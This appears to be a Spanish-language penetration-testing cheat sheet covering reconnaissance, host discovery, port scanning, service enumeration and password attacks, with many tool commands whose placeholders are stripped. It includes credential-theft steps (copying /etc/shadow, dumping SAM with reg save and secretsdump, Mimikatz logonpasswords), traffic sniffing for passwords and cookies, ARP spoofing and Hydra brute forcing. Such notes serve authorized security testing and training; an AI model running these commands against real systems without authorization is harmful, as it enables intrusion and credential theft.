# Inicio Apuntes sobre pentesting de infraestructura y servicios TI. # Metodologías y estándares ## Penetration Testing Execution Standard (PTES) * ## Open Source Security Testing Methodology Manual (OSSTMM) * # Vulnerabilidades ## Identificación ### Common Vulnerabilities and Exposures (CVE) * El CVE-ID ofrece una nomenclatura estándar para identificar las vulnerabilidades de forma inequívoca: * El formato para CVE-ID es: CVE-YYYY-NNNN (YYYY indica el año y NNNN el número de vulnerabilidad). Desde enero de 2014 este identificador puede contener, si es necesario, más de cuatro dígitos. * El formato para vulnerabilidades candidatas es: CAN-YYYY-NNNN (YYYY indica el año y NNNN el número de vulnerabilidad) ## Impacto ### Common Vulnerability Score System (CVSS) * ## Clasificación ### Common Weakness Enumeration (CWE) * ### OWASP Web Top 10 * ### OWASP Mobile Top 10 * ### OWASP API Security Top 10 * ### Common Attack Pattern Enumeration and Classification (CAPEC) * ### The WASC Threat Classification * # Bases de datos de vulnerabilidades ## National Vulnerability Database (NVD) * ## CVE Details * ## Snyk * ```shell # Google dorks site:snyk.io/vuln " " ``` ## VulDB * # Aplicaciones vulnerables ## Servicios * [Metasploitable 2](https://sourceforge.net/projects/metasploitable/) * [Metasploitable 3](https://github.com/rapid7/metasploitable3) ## Web * [Damn Vulnerable Web App (DVWA)](https://github.com/digininja/DVWA) * [Damn Vulnerable GraphQL Application (DVGA)](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application) * [buggy Web APPplication (bWAPP)](https://sourceforge.net/projects/bwapp/) * * ## API * [Completely Ridiculous API (crAPI)](https://github.com/OWASP/crAPI) * [Vulnerable Adversely Programmed Interface (vAPI)](https://github.com/roottusk/vapi) # Información general ## Empresas ### Crunchbase * ## Personas ### LinkedIn * ### Spokeo * ### PeopleFinders * ## Correos electrónicos ### Hunter * ## Anuncios / ofertas de trabajo ### LinkedIn * ### Indeed * ### Glassdoor * # Información de recursos en Internet ## WHOIS WHOIS, protocolo de consulta y respuesta de información para recursos en internet (puerto 43/TCP). ```shell whois ``` * \ = nombre de dominio. ```shell whois ``` * \ = dirección IP. ## DomainTools * ## theHarvester ```shell theHarvester -d -b all ``` * \ = nombre de dominio. * -b = fuente de información. ## Nmap ```shell nmap --script whois-domain -sn ``` # Direcciones IP y ASN ## BGP Toolkit * # Hosts ## Netcraft * ## Maltego * ## Censys * ## Shodan * ## ZoomEye * # Domain Name System (DNS) Transferencia de zona 53/TCP y búsqueda de nombre 53/UDP. ## **Tipos comunes de registros DNS** * A = registro que contiene la dirección IP de un dominio. * AAAA = registro que contiene la dirección IPv6 de un dominio. * CNAME = reenvía un dominio o subdominio a otro dominio, no proporciona una dirección IP. * MX = dirige el correo a un servidor de correo electrónico. * TXT = permite que un administrador pueda almacenar notas de texto en el registro. * NS = almacena el servidor de nombres para una entrada DNS. * SOA = almacena la información del administrador sobre un dominio. * SRV = especifica un puerto para servicios específicos. * PTR = proporciona un nombre de dominio en búsquedas inversas. ## **nslookup** nslookup: Name System Lookup. ```shell nslookup set type=any ``` ```shell nslookup server set type=any ``` ```shell nslookup -q=ANY ``` * \ = nombre de dominio. * \ = servidor DNS. ## **dig** dig: Domain Information Groper. ```shell dig any ``` ```shell dig any @ ``` * \ = nombre de dominio. * \ = servidor DNS. ## DNSdumpster * ## DNSRecon ```shell dnsrecon -d ``` ## Nuclei ```sh nuclei -u -t dns -ts -silent ``` # Sistema operativo ## Identificación de sistema operativo en función de TTL (Time To Live) TTL (Time To Live) es un valor de temporizador incluido en los paquetes enviados a través de redes, que le dice al destinatario cuánto tiempo debe retener o usar el paquete antes de descartar y expirar los datos (paquete). Los valores de TTL son distintos para cada sistema operativo. Por lo tanto, es posible "suponer" el tipo de sistema operativo en función del valor TTL. ```shell ping -c 1 ``` * -c = detenerse después de la cantidad de respuestas específicas. * \ = objetivo. | Sistema operativo | TTL (Time To Live) | | ------------------ | ------------------ | | \*nix (Linux/Unix) | 64 | | Windows | 128 | | Solaris/AIX | 254 | ## Nmap ```shell nmap -O -n -oN nmap-os.txt nmap -O -iL -n -oN nmap-os.txt nmap --script smb-os-discovery -p 445 -Pn ``` * -O = identificación de sistema operativo. * \ = objetivo. * -iL = lectura de host a descubrir desde archivo. * \ = archivo con listado de host. # Google hacking / dorks ## Google hacking database * ```sh # Listado de directorios (directory indexing) site: intitle:"index of" "to parent directory" "parent directory" ``` ## DorkSearch * # Buckets ## Greyhatwarfare * # Descubrimiento de host ## ARP ### Máquina local ```shell # Linux/Unix arp # Windows arp -a ``` ### Herramientas ```shell arp-scan -l arp-scan -I netdiscover -i -r ``` * \ = interfaz de red. * \ = Classless Inter-Domain Routing. ## Ping ```bash # Windows # Símbolo del sistema (cmd) for /l %i in (1,1,254) do @ping -4 -n 1 -w 100 X.X.X.%i | findstr TTL # PowerShell 1..254 | % {ping -4 -n 1 -w 100 X.X.X.$_} | Select-String TTL 1..254 | % {ping -4 -n 1 -w 100 X.X.X.$_} | Select-String TTL | % {$regex = [regex] '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'; $regex.Matches($_)} | % {$_.value} # Linux/Unix for i in $(seq 1 254); do (ping -c 1 X.X.X.${i} | grep "bytes from" &); done; ``` ## fping Utiliza Internet Control Message Protocol (ICMP) para determinar si un host está activo.
DescripciónTipoCódigo
Echo request (petición de eco)80
Echo reply (respuesta de eco)00
```shell fping -a -A -n 2>/dev/null fping -a -A -n -g -q 2>/dev/null fping -a -A -n -g -q 2>/dev/null fping -a -A -n -g -q | tr -d '()' | awk '{print $2"\t"$1}' | column -t >> fping.txt ``` * -a = host activos. * -A = muestra host por dirección IP. * -n = muestra host por nombre (DNS). * \ = dirección IP. * -g = hosts a descubrir. * \ = dirección IP inicio. * \ = dirección IP final. * \ = Classless Inter-Domain Routing. * 2>/dev/null = envía todos los errores producidos por el comando a `/dev/null`, son ignorarlos y no se muestran. ## Nmap ### Listado de host utilizando resolución inversa de DNS ```shell nmap -sL nmap -sL nmap -sL X.X.X.0-255 nmap -sL X.X.X.* nmap -sL X.X.0-255.* ``` * -sL = listado de host utilizando resolución inversa de DNS. No envía ningún paquete a los host. * \ = dirección IP. * \ = Classless Inter-Domain Routing. ### Descubrimiento de host activos ```shell nmap -sn nmap -sn -oN nmap-host-discovery.txt nmap -sn X.X.X.0-255 nmap -sn X.X.X.* nmap -sn X.X.0-255.* nmap -sn -PS21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 {CIDR} -oN nmap-host-discovery-top-ports.txt ``` * -sn = descubrimiento de host utilizando:
ICMPTipoCódigo
Echo request (petición de eco)80
Echo reply (respuesta de eco)00
| Protocolo | Puerto | Petición | | --------- | ------ | -------- | | TCP | 80 | ACK | | TCP | 443 | SYN | {% hint style="info" %} La opción **`-sn`** no completa el procedimiento de negociación de tres pasos de TCP (3 way handshake). {% endhint %} ### Descubrimiento de host activos vía escaneo de puertos ```shell nmap -Pn nmap -Pn nmap -Pn X.X.X.0-255 nmap -Pn X.X.X.* nmap -Pn X.X.0-255.* ``` * -Pn = no realiza fase de descubrimiento de host, considera a todos como activos y realiza un escaneo de puertos para determinar los host activos. * \ = dirección IP. * \ = Classless Inter-Domain Routing. ### Descubrimiento de servidores por servicio ```shell # DNS, Domain Name System nmap -sS -sU -p 53 --open -oN nmap-dns-servers.txt # SNMP, Simple Network Management Protocol nmap -sS -sU -p 161,162 --open -oN nmap-snmp.txt ``` * -sS = escaneo TCP SYN (stealth/sigilo). * -sU = escaneo puertos UDP. * -p = puerto TCP/UDP. * \--open = mostrar solo puertos abiertos (o posiblemente abiertos). * \ = Classless Inter-Domain Routing. # Sniffing y MitM attack Sniffing y MitM attack (Man in the middle attack) ## Tcpdump ```shell tcpdump -i tcpdump -i -v src and dst and port tcpdump -i -v port 80 | egrep -i "POST /|GET /|Host:" tcpdump -i -v port 80 | egrep -i "POST /|GET /|clave=|pwd=|passwd=|password=|Host:" tcpdump -i -v port 80 | egrep -i "Set-Cookie:|Cookie:|Host:" tcpdump -r ``` ## Ettercap * ```bash ettercap -G ``` ## Bettercap * ```shell # General bettercap net.probe on net.recon on net.sniff on net.show events.show # Selección de interfaz bettercap -iface # Sniffing host y puerto específico set net.sniff.filter "host and port " net.sniff on events.show # Interfaz de usuario (user:pass) bettercap -caplet http-ui ``` ## ARPspoof ```shell arpspoof -i -t arpspoof -i -t ``` ## Responder ``` responder -I -A ``` # Escaneo de puertos ## Bash ```bash for PORT in {1..65535}; do (echo > /dev/tcp/X.X.X.X/$PORT) >/dev/null 2>&1 && echo $PORT is open; done for PORT in {1..65535}; do timeout 1 bash -c "/dev/null" && echo "port $PORT is open"; done ``` ## Netcat ```shell nc -zv 1-65535 ``` ## Nmap ### Escaneo de puertos TCP ```shell # Principales 1000 puertos TCP nmap -sS --open -n -oN nmap-main-tcp-ports.txt # Todos los puertos TCP nmap -sS -p- --open -n -oN nmap-all-tcp-ports.txt ``` * -sS = escaneo TCP SYN (stealth/sigilo). * -p- = todos los puertos TCP (1 al 65.535). Para incluir el puerto 0 (cero), se debe especificar explícitamente `-p0-65535`. * \--open = mostrar solo puertos abiertos (o posiblemente abiertos). * -n = sin ejecución de resolución DNS. * \ = objetivo. * -oN = guarda resultado del escaneo en archivo `nmap-all-tcp-ports.txt`. ### Escaneo de puertos UDP ```shell # Principales 1000 puertos UDP nmap -sU -n -oN nmap-main-udp-ports.txt # Todos los puertos UDP nmap -sU -p- -n -oN nmap-all-udp-ports.txt ``` * -sU = escaneo puertos UDP. * -p- = todos los puertos TCP (1 al 65.535). Para incluir el puerto 0 (cero), se debe especificar explícitamente `-p0-65535`. * -n = sin ejecución de resolución DNS. * \ = objetivo. * -oN = guarda resultado del escaneo en archivo `nmap-all-udp-ports.txt`. ### Escaneo de puertos TCP y UDP ```shell nmap -sS -sU -p0-65535 --open -n -oN nmap-all-tcp-udp-ports.txt ``` * -sS = escaneo puertos TCP (SYN - stealth/sigilo). * -sU = escaneo puertos UDP. * -p0-65535 = todos los puertos TCP y UDP (0 al 65.535). * \--open = mostrar solo puertos abiertos (o posiblemente abiertos). * -n = sin ejecución de resolución DNS. * \ = objetivo. * -oN = guarda resultado del escaneo en archivo `nmap-all-tcp-udp-ports.txt`. ## Invoke-Portscan ```powershell Invoke-Portscan.ps1 Get-Help Invoke-Portscan Invoke-Portscan -Hosts -TopPorts ``` ## Idle scan ### Nmap ```shell # Identificar máquina zombie nmap -O -v -n -p # Realizar idle scan nmap -Pn -sI : -p ``` ### Hping ```shell # Identificar máquina zombie hping3 -S -r -p # Realizar idle scan hping3 -a -S -p ``` ## Evasión de firewall/IDS ### Nmap ```shell # Fragmentation nmap -sS -f # Decoys nmap –sS –D ,,,ME # Timing nmap –sS –T<0-5> # Source port nmap –sS --source-port nmap -sS -g ``` # Identificación de servicios ## Banner grabbing ```sh nc -vn telnet ``` ## Nmap ### Identificación de servicios para “principales” puertos TCP ```shell nmap -sC -sV -n -oN nmap.txt ``` * -sC = utilización de secuencias de comandos predeterminado. * -sV = identificación de servicio y su versión. * -n = sin ejecución de resolución DNS. * \ = objetivo. * -oN = guarda resultado del escaneo en archivo `nmap.txt`. ### Identificación de servicios para determinados puertos TCP y UDP ```shell nmap -sC -sV -p T:22,80,443,U:53,161 -n -oN nmap.txt ``` * -sC = utilización de secuencias de comandos predeterminado. * -sV = identificación de servicio y su versión. * -p T:22,80,443,U:53,161 = únicamente los puertos 22/TCP, 80/TCP, 443/TCP, 53/UDP y 161/UDP. * -n = sin ejecución de resolución DNS. * \ = objetivo. * -oN = guarda resultado del escaneo en archivo `nmap.txt`. # Servicios # 21/TCP (FTP) FTP, File Transfer Protocol. ## Banner grabbing ```shell nc -vn 21 ``` ## Vulnerabilidades ### Nmap ```shell nmap -p 21 --script=vuln nmap -p 21 --script=ftp-anon.nse ``` # 22/TCP (SSH) SSH, Secure SHell. ## Banner grabbing ```shell nc -vn 22 ``` ## Vulnerabilidades ```shell nmap -p 22 --script=vuln -oN nmap-vuln-SSH.txt ``` # 25/TCP, 465/TCP, 587/TCP (SMTP/S) SMTP, Simple Mail Transfer Protocol. SMTPS, Simple Mail Transfer Protocol Secure. ## Banner grabbing ```shell nc -vn 25 ``` ## Vulnerabilidades ```shell nmap -p 25,465,587 --script=vuln -oN nmap-vuln-SMTP.txt nmap -p 25,465,587 --script=smtp-open-relay.nse ``` ## Enumeración ### Nmap ```shell nmap -p 25 --script smtp-enum-users.nse -oN nmap-enum-users-SMTP.txt ``` ### smtp-user-enum ```shell smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t | tee smtp-user-enum-vrfy-top.txt smtp-user-enum -M EXPN -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t | tee smtp-user-enum-expn-top.txt smtp-user-enum -M RCPT -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t | tee smtp-user-enum-rcpt-top.txt smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t | tee smtp-user-enum-vrfy.txt ``` ### VRFY ```shell nc -vn 25 HELO idontexist VRFY ``` ### EXPN ```shell nc -vn 25 HELO idontexist EXPN ``` ### RCPT TO ```shell nc -vn 25 HELO idontexist MAIL FROM: user@example.com RCPT TO: ``` # 80/TCP, 443/TCP (HTTP/S) HTTP, Hypertext Transfer Protocol. HTTPS, Hypertext Transfer Protocol Secure. ## Vulnerabilidades ### Nmap ```shell # General nmap -p 80,443 --script=vuln # Heartbleed (CVE-2014-0160) nmap -p 443 --script=ssl-heartbleed ``` ### Nikto ```shell nikto -h -p 80 -o nikto.txt -Format txt ``` ## Fuzzing * [Directorios](https://web.mrw0l05zyn.cl/escaneo-y-enumeracion/fuzzing/directorios). * [Archivos](https://web.mrw0l05zyn.cl/escaneo-y-enumeracion/fuzzing/archivos). * [Extensiones](https://web.mrw0l05zyn.cl/escaneo-y-enumeracion/fuzzing/extensiones). * Parámetros. * [GET](https://web.mrw0l05zyn.cl/escaneo-y-enumeracion/fuzzing/parametros/get). * [POST](https://web.mrw0l05zyn.cl/escaneo-y-enumeracion/fuzzing/parametros/post). * [Wordlists](https://web.mrw0l05zyn.cl/escaneo-y-enumeracion/fuzzing/wordlists). # 137/UDP, 138/UDP, 139/TCP (NetBIOS) NetBIOS, Network Basic Input/Output System. ## nmblookup ```shell nmblookup -A ``` * -A = búsqueda por IP. * \ = objetivo. ## NBTScan ```shell nbtscan nbtscan nbtscan -rv ``` * -r = utiliza el puerto local 137 para el escaneo (Microsoft Windows 95 responden solo a esto). * -v = modo verboso. * \ = objetivo. * \ = Classless Inter-Domain Routing. # 161/UDP, 162/UDP (SNMP) SNMP, Simple Network Management Protocol. ## Nmap ```shell nmap -sC -sV -sU -p 161,162 -Pn -oN nmap-snmp.txt ``` * -sC = utilización de secuencias de comandos predeterminado. * -sV = identificación de servicio y su versión. * -sU = escaneo puertos UDP. * -p = puertos 161/UDP y 162/UDP. * \ = objetivo. ## snmp-check ```shell snmp-check | tee snmp-check.txt ``` # 389/TCP/UDP, 636/TCP, 3268/TCP, 3269/TCP (LDAP) LDAP, Lightweight Directory Access Protocol. ## Nmap ```shell nmap -sC -sV -sS -sU -p T:389,636,3268,3269,U:389 --script="ldap* and not brute" -oN nmap-ldap.txt ``` * -sC = utilización de secuencias de comandos predeterminado. * -sV = identificación de servicio y su versión. * -sS = escaneo TCP SYN (stealth/sigilo). * -sU = escaneo puertos UDP. * -p T:389,636,3268,3269,U:389 = únicamente los puertos 389/TCP, 636/TCP, 3268/TCP, 3269/TCP y 389/UDP. * \ = dirección IP del controlador de dominio. * -oN = guarda resultado del escaneo en archivo nmap-ldap.txt. ## LDAPDomainDump ```shell mkdir ldapdomaindump ldapdomaindump -u "/" -p "" --no-json --no-grep -o ldapdomaindump ``` # 445/TCP (SMB) SMB, Server Message Block. ## Vulnerabilidades ```shell nmap -p 139,445 --script=vuln -oN nmap-vuln-SMB.txt ``` ## Sesiones nulas ### smbclient ```shell smbclient -N -L smbclient -N -L --option='client min protocol=NT1' ``` * -N = sin contraseña. * -L = Lista carpetas compartidas. * \ = objetivo. ```shell smbclient -N \\\\\\ smbclient -N \\\\\\ --option='client min protocol=NT1' ``` * -N = sin contraseña. * \ = objetivo. * \ = nombre del recurso compartido. ### SMBMap ```shell smbmap -u null -H smbmap -H ``` * -u = sin usuario. * -H = host. * \ = objetivo. ```shell smbmap -u null -R -H smbmap -R -H ``` * -u = sin usuario. * -R = lista contenido de directorios de forma recursiva. * -H = host. * \ = objetivo. ### rpcclient ```shell rpcclient -U "" -N ``` * -U "" = sin usuario. * -N = sin contraseña. * \ = objetivo. ### Nmap ```shell nmap --script smb-enum-shares -p 139,445 ``` * \--script smb-enum-shares = enumeración de recursos compartidos. * -p = puertos. * \ = objetivo. ## smbclient ```shell # Listar carpetas compartidas smbclient -L \\\\\\ -W -U # Obtener consola smbclient \\\\\\ -W -U ``` * -L = Lista carpetas compartidas. * \ = objetivo. * \ = nombre del recurso compartido. * -W = grupo de trabajo o dominio. * \ = nombre de grupo de trabajo o dominio. * -U = información de inicio de sesión de usuario. * \ = nombre de usuario. * \ = contraseña de usuario. ## SMBMap ### Contenido de directorios de forma recursiva ```shell smbmap -d -u -p -R "" -H ``` * -d = grupo de trabajo o dominio. * \ = nombre de grupo de trabajo o dominio. * -u = nombre de usuario. * \ = nombre de usuario. * -p = contraseña de usuario. * \ = contraseña de usuario. * -R = lista contenido de directorios de forma recursiva. * \ = ruta y nombre del recurso compartido. * -H = host. * \ = objetivo. ### Contenido de directorio ```shell smbmap -d -u -p -r "" -H ``` * -d = grupo de trabajo o dominio. * \ = nombre de grupo de trabajo o dominio. * -u = nombre de usuario. * \ = nombre de usuario. * -p = contraseña de usuario. * \ = contraseña de usuario. * -r = lista contenido de directorio. * \ = ruta y nombre del recurso compartido. * -H = host. * \ = objetivo. ## rpcclient ```shell rpcclient -U % rpcclient -W -U % # Consultar información del dominio o grupo de trabajo querydominfo # Consultar información de visualización querydispinfo # Obtener información de política de contraseñas getdompwinfo # Enumerar usuarios enumdomusers # Enumerar grupos enumdomgroups # Obtener información de un usuario queryuser # Obtener información de un grupo querygroup # Obtener grupos de un usuario queryusergroups # Obtener miembros de un grupo querygroupmem ``` * -W = grupo de trabajo o dominio. * \ = nombre de grupo de trabajo o dominio. * -U = información de inicio de sesión de usuario. * \ = nombre de usuario. * \ = contraseña de usuario. * \ = objetivo. ## **enum4linux** ```shell enum4linux -a ``` * -a = enumeración general. * \ = objetivo. ## Descarga de archivos ### smbget ```shell smbget -R smb:/// ``` * -R = descargar el contenido completo de un directorio de forma recursiva. * \ = objetivo. * \ = directorio. # 1433/TCP (MSSQL Server) Microsoft SQL Server. ## Metasploit ```shell # Inicio de sesión auxiliary/scanner/mssql/mssql_login # Enumeración auxiliary/admin/mssql/mssql_enum ``` # 2049/TCP (NFS) NFS, Network File System. ## General ```shell /usr/sbin/showmount -e ``` ## Nmap ```shell nmap --script=nfs-showmount ``` # 3306/TCP (MySQL) ## Banner grabbing ```sh nc -vn 3306 ``` ## Vulnerabilidades ### Nmap ```sh nmap -p 3306 --script=vuln ``` ## Conexión ```shell mysql -u -h -p mysql --user= --password= --host= mysql --user= --password= --host=127.0.0.1 --port= mysql --user= --password= --host= -e "" ``` ## Información general ```shell # Versión select version(); # Usuarios select user(); # Bases de datos show databases; # Tablas use ; show tables; describe ; ``` ## Usuarios ```sql SELECT user, host, authentication_string FROM mysql.user; SELECT concat_ws(':', user, authentication_string) FROM mysql.user; ``` # 3389/TCP (RDP) RDP, Remote Desktop Protocol. ## Vulnerabilidades ```shell nmap -p 3389 --script=vuln -oN nmap-vuln-RDP.txt ``` # 5432/TCP (PostgreSQL) ## Banner grabbing ```sh nc -vn 5432 ``` ## Vulnerabilidades ### Nmap ```sh nmap -p 5432 --script=vuln ``` # 6379/TCP (Redis) ## Enumeración ### Nmap ```shell nmap -sV -p 6379 --script redis-info ``` * -p = puerto 6379/TCP. * \--script redis-info = información de Redis. * \ = objetivo. ### Metasploit ```shell use auxiliary/scanner/redis/redis_server ``` # 27017/TCP (MongoDB) ## Información general ```shell # Bases de datos show databases; # Colecciones use ; db.getCollectionNames(); # Documentos use ; db..find(); ``` ## Creación de base de datos ```shell use ; ``` ## Creación de colección ```shell use ; db.createCollection("") ``` ## Ingreso de documento ```shell use ; db..find(); db..insert(); db..find(); ``` ## Actualización de campo de documento ```shell use ; db..find(); db..update({id:1}, {$set: {field: "value"}}); db..find(); ``` ## Eliminación de documento ```shell # Listar documentos use ; db..find(); # Eliminación de un documento db..remove({id:1}); # Eliminación de todos los documentos de una colección db..drop(); ``` # Herramientas automatizadas ## nmapAutomator * ```shell nmapAutomator.sh -H -t -o ``` * -H = host. * \ = objetivo. * -t = tipo de escaneo. * \ = `Quick`, `Basic`, `UDP`, `Full`, `Vulns`, `Recon` y `All`. * -o = output. * \ = directorio de salida. ## AutoRecon * ```shell # General autorecon -v -o # Docker docker run -it -v /root/results:/results --rm --name autorecon-container tib3rius/autorecon ``` * \ = objetivo. * -o = output. * \ = directorio de salida. ## Nuclei * ```shell # Configuración de directorio de templates nuclei -ud # Actualización de templates nuclei -ut # Listar todos los templates nuclei -tl # Filtrar templates por protocolo nuclei -tl -pt ``` ```shell # Scanner nuclei -u -t nuclei -l targets.txt -t nuclei -u -t -rl 10 # HTTP security headers nuclei -u -t misconfiguration/http-missing-security-headers.yaml -o nuclei-http-security-headers.txt ``` * -u = URL/host. * \ = objetivo. * -t = template. * \ = template o ruta de directorio con template. * -rl = número máximo de request por segundo. * -rlm = número máximo de request por minuto. # Ataques de contraseñas # Wordlists y diccionarios ## Wordlists * [SecLists](https://github.com/danielmiessler/SecLists) * [Statistically likely usernames](https://github.com/insidetrust/statistically-likely-usernames) ## Diccionarios ### Generación #### CUPP * ```shell cupp -i ``` * -i = modo interactivo. #### RSMangler * ```shell rsmangler --file --output wordlists.txt rsmangler --file --output wordlists.txt --min --max ``` * \ = archivo con palabras para generar `wordlists.txt`. * \ = longitud mínima de palabra, por ejemplo: `3`. * \ = longitud máxima de palabra, por ejemplo: `5`. #### crunch ```shell crunch 4 4 -f /usr/share/crunch/charset.lst numeric -o wordlists.txt crunch -t %%% crunch 1 1 -p crunch 6 6 -t ddd%%% -p crunch 7 7 -t ddd%%%% -p ``` #### CeWL ```shell cewl http:// -d -m -w wordlists.txt ``` * \ = objetivo. * -d = depth to spider. * \ = profundidad, por ejemplo: `3`. * -m = longitud mínima de palabra. * \ = longitud mínima de palabra, por ejemplo: `3`. * -w = guarda resultado en archivo `wordlist.txt`. ### Nombres de usuarios #### Username Anarchy * ```shell ./username-anarchy ``` #### List of people names to users dictionary * ```shell listPeopleNamesToUsersDictionary.py -n ' ' ``` ## Credenciales por defecto * [SecLists](https://github.com/danielmiessler/SecLists) * /SecLists/Passwords/Default-Credentials/default-passwords.txt * /SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt * [CIRT](https://www.cirt.net/passwords) * [SCADA pass](https://github.com/scadastrangelove/SCADAPASS/blob/master/scadapass.csv) | Aplicación | Usuario | Contraseña | | ------------------------ | ------------- | ------------- | | Tomcat | tomcat | s3cret | | pfSense | admin | pfsense | | ManageEngine ServiceDesk | administrator | administrator | ## Política de contraseñas ```shell # sed ## eliminar contraseñas de menos de 8 caracteres sed -ri '/^.{,7}$/d' passwords.txt ## eliminar contraseñas sin caracteres especiales sed -ri '/[!-/:-@\[-`\{-~]+/!d' passwords.txt ## eliminar contraseñas sin números sed -ri '/[0-9]+/!d' passwords.txt # grep ## contraseñas que comienzan con una letra mayúscula grep '^[[:upper:]]' ## contraseñas que contengan letras minúsculas grep '[[:lower:]]' ## contraseñas que terminen con un número grep '[[:digit:]]$' ## contraseñas con caracteres especiales $#@ grep -E ['$#@'] ## contraseñas con una longitud mínima de 10 caracteres grep -E '^.{10,}$' ## contraseñas con una longitud de 8 a 15 caracteres grep -E '^.{8,15}$' ``` # Fuera de línea (offline) # Archivo passwd y shadow ## John the Ripper ### Copiar archivos passwd y shadow ```shell cp /etc/passwd //passwd.txt cp /etc/shadow //shadow.txt ``` ### Unificar archivos passwd y shadow ```shell unshadow passwd.txt shadow.txt > passwords.txt ``` ### Cracking de contraseñas ```shell john passwords.txt --wordlist= --format=md5crypt john passwords.txt --wordlist= --format=md5crypt-long ``` * \ = ruta de wordlist. ## Hashcat ```shell hashcat -a 0 -m 500 hashes.hash -o outfile.txt hashcat -a 0 -m 1800 hashes.hash -o outfile.txt ``` * -a = modo de ataque. * 0 = wordlist. * -m = tipo de hash. * 500 = md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5). * 1800 = sha512crypt $6$, SHA512 (Unix). * \ = ruta de wordlist. * -o = el archivo de salida para el hash recuperado. # Archivo SAM y SYSTEM ## Impacket ### Archivos y registro de Windows ```shell # Archivos C:\Windows\System32\Config\SAM C:\Windows\System32\Config\SYMTEM # Registro de Windows HKEY_LOCAL_MACHINE\SAM HKEY_LOCAL_MACHINE\SYMTEM ``` ### Copia de registros de Windows ```shell reg.exe save HKLM\SAM sam.bak reg.exe save HKLM\SYSTEM system.bak ``` ### secretsdump.py ```shell secretsdump.py -sam sam.bak -system system.bak LOCAL ``` * uid:rid:lmhash:nthash # Archivos zip ## John the Ripper ```shell zip2john > hash.txt john hash.txt -w= --format=ZIP john hash.txt --show ``` ## fcrackzip ```shell fcrackzip -u -v -D -p ``` * -u = descomprimir (unzip) para eliminar contraseñas incorrectas. * -v = modo verboso. * -D = ataque de contraseñas por diccionario. * -p = archivo de contraseñas. * \ = ruta de archivo con listado de contraseñas, por ejemplo: `/usr/share/wordlists/rockyou.txt` . * \ = archivo zip. # Hashes ## Herramientas ### Google Colaboratory (Colab) #### Colabcat * ### Search-That-Hash * ## MD5 ### John the Ripper ```shell john hash.txt --wordlist= --format=Raw-MD5 john hash.txt --format=Raw-MD5 --show ``` ### Hastcat ```shell hashcat -m 0 -a 0 hash.txt hashcat -m 0 hash.txt --show ``` ## LM * Hash LM en blanco = aad3b435b51404eeaad3b435b51404ee ### John the Ripper ```shell john hash.txt --wordlist= --format=LM john hash.txt --format=LM --show ``` ### Hashcat ```shell hashcat -m 3000 -a 0 hash.txt hashcat -m 3000 hash.txt --show ``` ## NT * Hash NT en blanco = 31d6cfe0d16ae931b73c59d7e0c089c0 ### John the Ripper ```shell john hash.txt --wordlist= --format=NT john hash.txt --format=NT --show ``` ### Hashcat ```shell hashcat -m 1000 -a 0 hash.txt hashcat -m 1000 hash.txt --show ``` ## NTLMv2 ### Hashcat ```shell hashcat -m 5600 -a 0 hash.txt hashcat -m 5600 hash.txt --show ``` ## SHA-256 ### Hashcat ```shell hashcat -m 1400 -a 0 hash.txt hashcat -m 1400 hash.txt --show ``` # En línea (online) # Hash ## Mimikatz * ```shell privilege::debug sekurlsa::logonpasswords ``` ```shell privilege::debug token::elevate lsadump::sam ``` # 21/TCP (FTP) FTP, File Transfer Protocol. ## Wordlists * [SecLists](https://github.com/danielmiessler/SecLists) * `/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt` ## Hydra ```shell hydra -L -P ftp://: -V -f ``` * -L = utilizar archivo de usuarios. * \ = ruta de archivo con listado de usuarios. * -P = utilizar archivo de contraseñas. * \ = ruta de archivo con listado de contraseñas. * \ = objetivo. * \ = puerto del servicio FTP. # 22/TCP (SSH) SSH, Secure SHell. ## Hydra ```shell hydra -L -P ssh://: -u -f -V -t 4 ``` * -L = utilizar archivo de usuarios. * \ = ruta de archivo con listado de usuarios. * -P = utilizar archivo de contraseñas. * \ = ruta de archivo con listado de contraseñas. * \ = objetivo. * \ = puerto del servicio SSH. * -u = recorre por usuarios, no por contraseñas. * -f = salir cuando se encuentra un par de usuario/contraseña correctos. * -V = modo verboso. ## Patator ```shell patator ssh_login host= port= user= password=FILE0 0= patator ssh_login host= port= user=FILE0 password=FILE1 0= 1= ``` * host = hostname. * \ = objetivo. * port = puerto. * \ = puerto del servicio SSH. * user = usuario. * \ = nombre de usuario. * \ = ruta de archivo con listado de usuarios. * \ = ruta de archivo con listado de contraseñas. # 23/TCP (Telnet) Telnet, Teletype Network. ## Medusa ```shell medusa -h -M telnet -U -P ``` * -h = hostname. * \ = objetivo. * -U = utilizar archivo de usuarios. * \ = ruta de archivo con listado de usuarios. * -P = utilizar archivo de contraseñas. * \ = ruta de archivo con listado de contraseñas. # 80/TCP, 443/TCP (HTTP/S) HTTP, Hypertext Transfer Protocol. HTTPS, Hypertext Transfer Protocol Secure. ## Hydra ### Basic HTTP Authentication ```shell hydra -C http-get / -f -V ``` * -C = formato "user:pass". * \ = ruta de wordlist. * \ = objetivo. * http-get = método HTTP GET. * -f = salir cuando se encuentra un par de usuario/contraseña correctos. * -V = modo verboso. ### Método HTTP GET ```shell hydra -L -P http-get-form "/login.php:username=^USER^&password=^PASS^:" -f -V ``` * -L = utilizar archivo de usuarios. * \ = ruta de archivo con listado de usuarios. * -P = utilizar archivo de contraseñas. * \ = ruta de archivo con listado de contraseñas. * \ = objetivo. * http-get-form = método HTTP GET. * \ = mensaje de respuesta incorrecto. * -f = salir cuando se encuentra un par de usuario/contraseña correctos. * -V = modo verboso. ### Método HTTP POST ```shell hydra -L -P http-post-form "/login.php:username=^USER^&password=^PASS^:" -f -V ``` * -L = utilizar archivo de usuarios. * \ = ruta de archivo con listado de usuarios. * -P = utilizar archivo de contraseñas. * \ = ruta de archivo con listado de contraseñas. * \ = objetivo. * http-post-form = método HTTP POST. * \ = mensaje de respuesta incorrecto. * -f = salir cuando se encuentra un par de usuario/contraseña correctos. * -V = modo verboso. ## Metasploit ### Apache Tomcat ```shell auxiliary/scanner/http/tomcat_mgr_login ``` # 161/UDP, 162/UDP 